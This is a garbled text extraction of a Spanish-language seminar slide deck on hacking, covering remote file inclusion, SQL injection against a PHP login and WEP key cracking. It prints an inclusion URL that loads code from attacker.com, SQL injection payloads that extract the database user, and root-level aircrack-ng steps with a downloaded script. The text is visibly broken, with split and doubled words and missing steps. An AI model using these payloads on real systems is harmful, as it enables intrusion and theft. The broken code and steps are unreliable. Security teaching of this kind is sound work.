Beruflich Dokumente
Kultur Dokumente
`
Hacker vs Cracker
` La diferencia básica es la siguiente:
` La libertad es buena.
` Aquí
qu e el p
parámetro
et o de $
$archivo
c o no o se inicializa
c s
si los
os
register_globals se ponen en “On”, el servidor será
vulnerable a la ejecución a distancia del código incluyendo
cualquier archivo arbitrario en el parámetro $archivo.
Ejecución de código remotamente
` Ahora un ejemplo de cómo explotar esta vulnerabilidad:
http://www.vulnsite.com/index.php?archivo=http://ww
p // / p p p //
w.attacker.com/attack.txt
` $us=$_POST['usuario'];
$pass=$_POST['pass'];
$
$sql="SELECT * FROM usuarios WHERE user = '$us'
$ AND
password='$pass'";
` if(mysql_fetch_array($exc)){
echo "Inicio de sesión correcto"; // Esto fue modificado
}
Inyección de código SQL
` Este es el típico sistema de verificación de contraseñas.
` Utiliza mysql_fetch_array
` funcion de mysql, que devuelve falso si no hay ningún
resultado, en el query o petición.
` Deben
b coincidir
i idi ell usuario
i y ell password
d para que
devuelva true
Inyección de código SQL
` ¿Cómo podemos hacer que “no” devuelva false si
conocemos el usuario?
` Con el password correcto
` Haciendo trampa
` Supongamos
p g q
que le p
ponemos de usuario Pedro y de
contraseña qwerty
Inyección de código SQL
` La sentencia que SQL recibirá es:
` SELECT * FROM usuarios WHERE user = 'Pedro' AND
password=‘qwerty'
` $us=$_POST[‘usuario’];
$pas=$_POST[‘pass’];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
$sql="SELECT password FROM usuarios WHERE user = '$us'";
` Veamos un ejempo:
` Select denominacion from productos
Where clave_categoria=1
g
UNION
Select denominacion from productos
Where clave_categoria=2;
Inyección de código SQL
` Restricciones:
` Las dos select tienen que tener igual número de columnas y
del mismo tipo.
` B
Bueno…ya que sabemos
b eso…
` Ooops…
Inyección de código SQL
` El siguiente es un ejemplo, con la misma sentencia
usuario:
` ' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='
` Y nos regresa:
` Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and
(utf8 general ci IMPLICIT) for operation 'UNION'
(utf8_general_ci,IMPLICIT) UNION
` ¿Qué
Q significa
g esto? qque estamos metiendo valores en utf
cuando debe ser en latin1.. eso lo arreglamos así:
` ' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5
AND ''l=‘
l
Inyección de código SQL
` Y esto nos regresa:
` root@localhost
` Un mecanismo de cifrado
cifrado, que puede ser de 64 o 128 bits
Rompiendo claves WEP
1. Instalar Ubuntu 9.04 o el actual 9.10
2. I t l aircrack-ng:
Instalar i k sudo
d apt-get
t t install
i t ll aircrack-ng
i k
3. Descargar el script (acsaao.sh).
((http://ingenieria.uatx.mx/seminario09/etica/
p // g / 9/ / acsaao-1.0.tar.gz)
g )
4. Descomprimir el archivo tar –xvzf acsaao-1.0.tar.gz
5. Darle permisos de ejecución
# cd <ruta_donde_este_el_script>
# chmod u+x acsaao.sh
Rompiendo claves WEP
6. Crea los directorios 'crackwep' y 'crackwep/keys' en tu
home
home.
8
8. Ahora corre el script como root
sudo ./acsaao.sh
Rompiendo claves WEP
9. Comenzara configurando el modo monitor de la wifi
(mon0) y te lanzará airodump-ng
airodump ng para scannear redes
cercanas, dejalo unos segundos y después cierrala (o
presiona Ctrl + C).